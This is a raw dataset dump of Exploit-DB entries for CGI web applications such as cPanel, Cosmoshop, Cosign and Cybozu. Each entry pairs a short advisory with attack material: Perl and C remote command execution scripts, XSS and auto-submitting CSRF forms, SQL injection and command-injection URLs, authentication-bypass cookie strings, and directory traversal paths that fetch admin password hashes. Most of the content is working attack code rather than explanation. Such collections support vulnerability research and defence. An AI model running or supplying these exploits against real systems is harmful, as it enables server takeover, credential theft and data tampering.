deardaniel/secdata-raw huggingface dataset:
Exploit-DB #25920
Description: Community Link Pro - 'login.cgi?File' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2005-06-29
Author: spher3

Exploit:
source: https://www.securityfocus.com/bid/14097/info

Community Link Pro is prone to a remote arbitrary command execution vulnerability. This issue presents itself due to insufficient sanitization of user-supplied data.

Due to this, an attacker can prefix arbitrary commands with the '|' character and have them executed in the context of the server. 

#!/usr/bin/perl
# ___                 ___                     __
# \_ |__ _____     __| _/______  ____   _____/  |_
#  | __ \\__  \   / __ |\_  __ \/  _ \ /  _ \   __\
#  | \_\ \/ __ \_/ /_/ | |  | \(  <_> |  <_> )  |
#  |___  (____  /\____ | |__|   \____/ \____/|  | Security Group
#      \/     \/      \/                      ||
#                                             \/
# Login.cgi Remote Command Execution PoC Exploit
# by: spher3 - spher3@fatalimpulse.net
# www.badroot.org

use strict;
use IO::Socket::INET;

sub USAGE()
{
  print "USAGE:\n",
        "perl $0 [host] [path] [cmd]\n\n",
        "EXAMPLE:\n",
        "perl www.site.org /webeditor/ \"uname -a\"\n\n";
  exit 0;
}

USAGE unless $ARGV[2];

my $host = $ARGV[0];

my $path = $ARGV[1];

my $cmds = join  (  '%20', split  (  / /, $ARGV[2]  )  );

my $vuln = $path . "login.cgi?username=&command=simple&do=edit&password=&file=|" . $cmds . "|";

print  "Badroot Security Group - www.badroot.org\n", 
       "Login.cgi Remote Command Execution\n\n",
       "- Target: $host\n",
       "- Path: $path\n\n"; 

my $sock = IO::Socket::INET->new  (  PeerAddr => $host,
                                     PeerPort => 80,
                                     Proto => "tcp",
                                     Type => SOCK_STREAM  ) || die "Error: $!\n";

print $sock "GET " . $vuln ." HTTP/1.1\n\r",
            "Accept: */*\r\n",
            "User-Agent: Bad\r\n", 
            "Host: $host\r\n",
            "Connection: Keep-Alive\r\n\r\n";             

my $lE = 0;

while  (  <$sock>  )
{

  if (  $_ =~ /<\/textarea/  )
  {
    $lE = 0;
    close  (  $sock  ) && exit 0;
  }
  
  print $_ if $lE == 2;

  ++$lE if $lE == 1;

  if (  $_ =~ /<textarea/  )
  {
    ++$lE;
  }

}
Exploit-DB #26937
Description: ComputerOil Redakto CMS 3.2 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-21
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/16013/info

ComputerOil Redakto CMS is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

Redakto version 3.2 reportedly vulnerable to these issues; other versions may also be affected. 

http://www.example.com/index.tpl?iid=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=1&iid2=[XSS]
http://www.example.com/index.tpl?iid=l3a1b3&#9001;=1&iid2=3&r=[XSS]
http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=[XSS]
http://www.example.com/index.tpl?iid=l093a1b1&#9001;=1&iid2=[iid2]&r=[r]&cart=[PII_REDACTED]899006&str=[XSS]
http://www.example.com/index.tpl?a=search_adv&cart=[PII_REDACTED]319101&#9001;=1&iid=13&nf=[XSS]
http://www.example.com/index.tpl?a=[XSS]
Exploit-DB #29842
Description: Cosign 2.0.1/2.9.4a - CGI Check Cookie Command Remote Authentication Bypass
Type: webapps
Platform: cgi
Date: 2007-04-11
Author: Jon Oberheide

Exploit:
source: https://www.securityfocus.com/bid/23422/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this issue to gain unauthorized access to services hosted on an affected computer.

Versions prior to 1.9.4b and 2.0.2a are vulnerable. 

cosign=X\rLOGIN cosign=X 1.2.3.4 username\rREGISTER cosign=X 1.2.3.4 cosign-servicename=Y
Exploit-DB #29844
Description: Cosign 2.0.1/2.9.4a - CGI Register Command Remote Authentication Bypass
Type: webapps
Platform: cgi
Date: 2007-04-11
Author: Jon Oberheide

Exploit:
source: https://www.securityfocus.com/bid/23424/info

The 'cosign' application is prone to an authentication-bypass vulnerability because it fails to adequately sanitize user-supplied input.

An authenticated attacker can exploit this issue to access services hosted on an affected computer by assuming another user's credentials.

Versions prior to 1.9.4b and 2.0.2a are vulnerable. 

POST /cosign-bin/cosign.cgi HTTP/1.0
Host: weblogin.example.com
Cookie: cosign=X
Content-Type: application/x-www-form-urlencoded
Content-Length: N

required=&ref=https%3A%2F%2Fweblogin.example.com%2F&service=cosign-servicename=Y%0DLOGIN cosign=X2 1.2.3.4 username%0DREGISTER cosign=X2 1.2.3.4 cosign-servicename=Y2&login=test&[CREDENTIAL_REDACTED]=&doLogin=Log+In
Exploit-DB #35438
Description: Cosmoshop 10.05.00 - Multiple Cross-Site Scripting / SQL Injections
Type: webapps
Platform: cgi
Date: 2011-03-10
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46828/info

CosmoShop is prone to multiple cross-site scripting vulnerabilities and an SQL-injection vulnerability because the application fails to sufficiently sanitize user-supplied input.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

CosmoShop ePRO V10.05.00 is vulnerable; other versions may also be affected. 

http://www.example.com/cgi-bin/admin/index.cgi?action=menu&id=eco'+SQL_CODE&hId=eco

<form action="http://www.example.com/cgi-bin/admin/edit_startseitentext.cgi" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="action" value="save">
<input type="hidden" name="use_wwe" value="1">
<input type="hidden" name="file-de" value="startseitentext_de.txt">
<input type="hidden" name="text-de" value='page html"><script>alert(document.cookie)</script>'>
</form>
<script>
document.main.submit();
</script>

http://www.example.com/cgi-bin/admin/rubrikadmin.cgi?action=edit&rubnum=angebote&rcopy="><script>alert(document.cookie)</script>&expand=,angebote

http://www.example.com/cgi-bin/admin/artikeladmin.cgi?action=artikelsuche&typ=bearbeiten"><script>alert(document.cookie)</script>&hId=daten.artikel

http://www.example.com/cgi-bin/admin/shophilfe_suche.cgi?sprache=de&suchbegriff=1"><script>alert(document.cookie)</script>


<form action="http://www.example.com/cgi-bin/admin/setup_edit.cgi" method="post" name="main">

<input type="hidden" name="setup" value="allgemein">
<input type="hidden" name="hId" value="setup.einstellungen.allgemein">
<input type="hidden" name="setup_key" value="allgemein">
<input type="hidden" name="shoptitel" value="Cosmoshop Shopsoftware 10.x">
<input type="hidden" name="shopbetreiber" value="email@example.com">
<input type="hidden" name="shop_bestellempfaenger" value="email@example.com">
<input type="hidden" name="anfrage_mail" value="email@example.com">
<input type="hidden" name="shop_umstid" value="DE12345678">
<input type="hidden" name="shop_eg" value="1">
<input type="hidden" name="auftragszaehler" value="1">
<input type="hidden" name="hauptwaehrung" value='EUR"><script>alert(document.cookie)</script>'>
<input type="hidden" name="nebenwaehrung" value="$">
<input type="hidden" name="eurofaktor" value="0.7">
<input type="hidden" name="mindestpreisdm" value="10">
<input type="hidden" name="emis_bestellempfaenger" value="">
<input type="hidden" name="afs_bestellempfaenger" value="">
<input type="hidden" name="ean_in_ausf" value="1">
<input type="hidden" name="google_verify_code" value="">
<input type="hidden" name="save_it" value="abspeichern">

</form>
<script>
document.main.submit();
</script>
Exploit-DB #27895
Description: Cosmoshop 8.10.78/8.11.106 - 'Lshop.cgi' SQL Injection
Type: webapps
Platform: cgi
Date: 2006-05-18
Author: l0om

Exploit:
source: https://www.securityfocus.com/bid/18024/info

Cosmoshop is prone to an SQL-injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/cgi-bin/lshop.cgi?action=showdetail&artnum=10[' UNION SELECT OR OTHER SQL]&wkid=2002g&ls=d&nocache=
Exploit-DB #22260
Description: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (1)
Type: webapps
Platform: cgi
Date: 2003-02-19
Author: bob

Exploit:
// source: https://www.securityfocus.com/bid/6882/info

A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.

An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.

This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected. 

/*
 * DSR-cpanel.c by bob@dtors.net
 * Vulnerbility found by Polkeyzz
 * 
 * This is a Proof of Concept exploit for
 * the cpanel 5 and below. Problem is a open()
 * in guestbook.cgi.
 * 
 * User may view any file or execute commands.
 * There also exists a local vulnerbility to
 * escalate privileges to root.
 * 
 * PoC by bob of dtors.net >>DSR-apache rewrite<<
 */
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
int main(int argc, char *argv[]) {
int sock;
char exp[75];
struct in_addr addr;
struct sockaddr_in sin;
struct hostent *bob;
 
fprintf(stdout, "\n\tDSR-cpanel.c By bob.\n"); 
fprintf(stdout, "Proof Of Concept Code for cpanel 5.0 <\n");
fprintf(stdout, "\tDSR-[www.dtors.net]-DSR\n");
 
if(argc<3) 
  {
   fprintf(stderr, "\nUsage : %s <host> <command>\n\n", argv[0]);
   exit(1);
  } 
 
if ((bob=gethostbyname(argv[1])) == NULL)
   {
   fprintf(stderr, "Socket Error!\n\n");
   exit(1);
   }
sock=socket(AF_INET, SOCK_STREAM, 0);
bcopy(bob->h_addr, (char *)&sin.sin_addr, bob->h_length);
sin.sin_family=AF_INET;
sin.sin_port=htons(80);
fprintf(stdout, "Connecting...\n");
if (connect(sock, (struct sockaddr*)&sin, sizeof(sin))!=0)
     {
     fprintf(stderr, "...Problem Connecting, Exited.\n");
     exit(1);
     }
else {
snprintf(sizeof(exp)-1, "GET 
/cgi-sys/guestbook.cgi/user=cpanel&template=%s HTTP/1.1\r\nHost: 
%s\r\n\r\n" ,argv[2], argv[1]);    
write(sock,exp,strlen(exp));
fprintf(stdout, "Command sent/executed!\n\n");
close(sock);
exit (0);
}
}
Exploit-DB #22261
Description: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (2)
Type: webapps
Platform: cgi
Date: 2003-02-19
Author: CaMaLeoN

Exploit:
source: https://www.securityfocus.com/bid/6882/info
 
A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.
 
An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.
 
This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.

#!usr/bin/perl
use LWP::UserAgent
print "##########################################\n";
print "#                                        #\n";
print "#      Remote Exploit for Cpanel 5       #\n";
print "#                                        #\n";
print "##########################################\n";
print "                           C0d3r: CaMaLeoN\n";
die "Use: $0 <host> <command>\n" unless ($ARGV[1]);
$web=$ARGV[0];
$comando=$ARGV[1];
$fallos="cgi-sys/guestbook.cgi?user=cpanel&template=$comando";
$url="http://$web/$fallos";
$ua = LWP::UserAgent->new();
$request = HTTP::Request->new('HEAD', $url);
$response = $ua->request($request);
if ($response->code == 200){
                            print "Command sent.\n";
                           }
                           else
                           {
                            print "The command could not be sent.\n";
                           }
Exploit-DB #22263
Description: cPanel 5.0 - 'Guestbook.cgi' Remote Command Execution (4)
Type: webapps
Platform: cgi
Date: 2003-02-19
Author: pokleyzz

Exploit:
source: https://www.securityfocus.com/bid/6882/info
   
A remote command execution vulnerability has been discovered in the cPanel CGI Application. This issue occurs due to insufficient sanitization of externally supplied data to the 'guestbook.cgi' script.
   
An attacker may exploit this vulnerability to execute commands in the security context of the web server hosting the affected script.
   
This vulnerability has been reported to affect cPanel version 5, previous versions may also be affected.

#!/usr/bin/perl
#
# ------- start here -------
#
# Bug Founded by: pokleyzz
#
# Cpanel is web hosting control panel which allow client manage their web account through
# web interface. Most of the application are written in perl and  compiled to binary.
#
# Details
# =======
# There is multiple vurnerabilities in this package as describe below.
#
# 1) Remote command Execution in guestbook.cgi (/usr/local/cpanel/cgi-sys/guestbook.cgi)
#
# There is classic perl open function vulnerability in template variable which allow any
# user to read any file or run command  as valid system user which assign to specific url
# in apache configuration.
#
# 2) Local privileges escalation (root)
#
# Cpanel come with openwebmail packages as one of web base email reader which suid root.
# In the system with suid perl install perfectly (with suid mode turn on) local user may
# include their own perl script when running openwebmail script (oom) through suidperl.
#
# Openwebmail will append perl include path (@INC) through SCRIPT_FILENAME environment variable,
# then include some file when execute.
#
# /usr/local/cpanel/base/openwebmail/oom line 14
#
# if ( $ENV{'SCRIPT_FILENAME'} =~ m!^(.*?)/[\w\d\-]+\.pl! || $0 =~ m!^(.*?)/[\w\d\-]+\.pl! ) { $SCRIPT_DIR=$1; }
# if (!$SCRIPT_DIR) { print "Content-type: text/html\n\n\$SCRIPT_DIR not set in CGI script!\n"; exit 0; }
# push (@INC, $SCRIPT_DIR, ".");
# .
# .
# .
# require "openwebmail-shared.pl";
#
# proof of concept:
# i) Create file openwebmail-shared.pl contain perl script you want to execute.
# ii) Set SCRIPT_FILENAME point to full path of openwebmail-shared.pl file you just create.
# iii) exec oom script (ex: suidperl -T /usr/local/cpanel/base/openwebmail/oom )
#
# -------- cut here --------
#
# coded by cyzek. cyzek@efnet
# thanks for p0ng p0ng@brasnet.org

$url = $ARGV[0];
$cmd = $ARGV[1];

if(@ARGV != 2){
        print " jozc.pl - Cpanel 5 and below Remote Exploit by cyzek.\n";
        print " use %20 for spaces.\n";
        print " usage: $0 <host> <cmd>\n";
        exit;
}

use IO::Socket::INET;
$rem = IO::Socket::INET->new(
Proto       => "tcp",
PeerAddr    => $url,
PeerPort    => "80");

if ($rem) {
        print $rem "GET /cgi-sys/guestbook.cgi?user=cpanel&template=|$cmd| HTTP/1.0 \n\r\n\r\n\r";
        @resp = <$rem>;
}
print "@resp\n\n";
Exploit-DB #23806
Description: cPanel 5/6/7/8/9 - 'dir' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2004-03-12
Author: Fable

Exploit:
source: https://www.securityfocus.com/bid/9853/info

It has been reported that cPanel may be prone to a cross-site scripting vulnerability that may allow a remote attacker to execute HTML or script code in a user's browser. The issue presents itself due to insufficient sanitization of user-supplied data via the 'dir' parameter of 'dohtaccess.html' page. The victim may require to be authenticated with valid credentials to be exposed to exploitation.

Due to the possibility of attacker-specified HTML and script code being rendered in a victim's browser, it is possible to steal cookie-based authentication credentials from that user. Other attacks are possible as well.

http://www.example.com:2082/frontend/x/htaccess/dohtaccess.html?dir=><script>alert(0x29A Crew)</script>
Exploit-DB #23807
Description: cPanel 5/6/7/8/9 - Login Script Remote Command Execution
Type: webapps
Platform: cgi
Date: 2004-03-12
Author: Arab VieruZ

Exploit:
source: https://www.securityfocus.com/bid/9855/info

A potential remote command execution vulnerability has been discovered in the cPanel application. This issue occurs due to insufficient sanitization of externally supplied data to the login script. An attacker may exploit this problem by crafting a malicious URI request for the affected script; the attacker may then supply shell metacharacters and arbitrary commands as a value for the affected variable.

http://www.example.com.com:2082/login/?user=|"`id`"|
Exploit-DB #21995
Description: CuteCast 1.2 - User Credential Disclosure
Type: webapps
Platform: cgi
Date: 2002-11-07
Author: Zero-X

Exploit:
source: https://www.securityfocus.com/bid/6127/info

It has been reported that the default configuration of CuteCast is insecure. According to the report, CuteCast stores user information in a publicly accessible directory. This includes plaintext credentials. 

http://www.example.com/cgi-bin/cutecast/members/<username>.user
Exploit-DB #2266
Description: Cybozu Products - 'id' Arbitrary File Retrieval
Type: webapps
Platform: cgi
Date: 2006-08-28
Author: Tan Chew Keong

Exploit:
Cybozu Products Arbitrary File Retrieval Vulnerability

by Tan Chew Keong
Release Date: 2006-08-28

Summary

A vulnerability has been found in Cybozu Products. When exploited, the vulnerability allows 
an authenticated user to retrieve arbitrary files accessible to the web server process.

Tested Versions
    * Cybuzu Office Version 6.5 (Build 1.2[PII_REDACTED]1735) for Windows
    * Cybozu Share 360 Version 2.5 (Build 0.2[PII_REDACTED]5231) for Windows


Details

This advisory discloses a directory traversal vulnerability in Cybozu products.
1) Cybozu Office File Cabinet File Download Directory Traversal

Cybuzu Office does not properly validate the "id" parameter in "/scripts/cbag/ag.exe" before 
using it to retrieve files from the file cabinet for a logon user. This allows a malicious user 
to retrieve arbitrary files accessible to the web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/cbag/ag.exe?page=FileDownload&id=../../../../../../../../../../../../../inetpub/scripts/cbag/cb5/data/admin&notimecard=1&type=text&subtype=html&ct=1
 

2) Cybozu Share 360 File Cabinet and Message Attachment Download Directory Traversal

Cybuzu Share 360 does not properly validate the "id" parameter in "/scripts/s360v2/s360.exe" 
before using it to retrieve files from the file cabinet and to retrieve file attachments from a 
received message/memo. This allows a malicious user to retrieve arbitrary files accessible to the 
web server process using directory traversal characters.

Example (to retrieve the password hash of the admin page):

http://192.168.1.64/scripts/s360v2/s360.exe?page=FileDownload&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&type=text&subtype=plain&ct=1&.txt

http://192.168.1.64/scripts/s360v2/s360.exe?page=MessageDownload&mid=37&id=../../../../../../../../../../inetpub/scripts/s360v2/s360v2/data/admin&bc=1&type=text&subtype=plain&ct=1&.txt
 

Patch / Workaround

Cybuzu Office:
Update to Version 6.6 (Build 1.3).

Cybozu Share 360:
Update to Version 2.5 (Build 0.3).

References

http://cybozu.co.jp/products/dl/notice_060825/

Disclosure Timeline

2006-07-04 - Vulnerability Discovered.
2006-07-13 - Initial Vendor Notification.
2006-07-13 - Initial Vendor Reply.
2006-07-14 - Received scheduled patch release date from vendor.
2006-08-16 - Received notification that patch release will be delayed.
2006-08-25 - Vendor released patch information on website.
2006-08-28 - Public Disclosure.

Contact
For further enquries, comments, suggestions or bug reports, simply email them to 
Tan Chew Keong (chewkeong[at]vuln[dot]sg)

# milw0rm.com [2006-08-28]
Exploit-DB #23275
Description: DansGuardian 2.2.x - Denied URL Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2003-10-22
Author: Richard Maudsley

Exploit:
source: https://www.securityfocus.com/bid/8876/info

A problem has been reported in the handling of some types of input to DansGuardian. This problem may permit an attacker to launch cross-site scripting attacks.

http://www.example.com/cgi-bin/dansguardian.pl?DENIEDURL=</a><script>alert('Test');window.open+("http://www.example.com")</script>
Exploit-DB #23535
Description: DansGuardian Webmin Module 0.x - 'edit.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2004-01-10
Author: FIST

Exploit:
source: https://www.securityfocus.com/bid/9394/info

A problem has been identified in the handling of input by scripts packaged with the DansGuardian Webmin Module. Because of this, it is possible for a remote to gain access to potentially sensitive information.

https://www.example.com:10000/dansguardian/edit.cgi?file=[FILE]
Exploit-DB #23266
Description: Dansie Shopping Cart - Server Error Message Installation Full Path Disclosure
Type: webapps
Platform: cgi
Date: 2003-10-20
Author: Dr_Ponidi

Exploit:
source: https://www.securityfocus.com/bid/8860/info

Dansie Shopping Cart is reported to be prone to path disclosre issue in the 'db' parameter of 'cart.pl' that may lead to an attacker gaining sensitive information about the installation path of the system.

Information gained by exploiting this attack may aid an attacker in launching further attacks against a vulnerable system.

http://www.example.com/cgi-bin/cart.pl?db='
Exploit-DB #21352
Description: DCShop Beta 1.0 - Form Manipulation
Type: webapps
Platform: cgi
Date: 2002-03-25
Author: pokleyzz sakamaniaka

Exploit:
source: https://www.securityfocus.com/bid/4356/info

DCShop Beta is a freely available shopping cart system, written in Perl. It will run on most Unix and Linux variants, as well as Microsoft Windows operating systems.

It is possible to overwrite setup files (*.setup) by submitting attacker-supplied form data followed by a null character (%00). The attacker must use the POST method to submit data that is content-type multipart/form-data compliant. 

curl -F database=@test.txt http://host/cgi-bin/dcshop.cgi

where test.txt contains databasename.setup[nullbyte].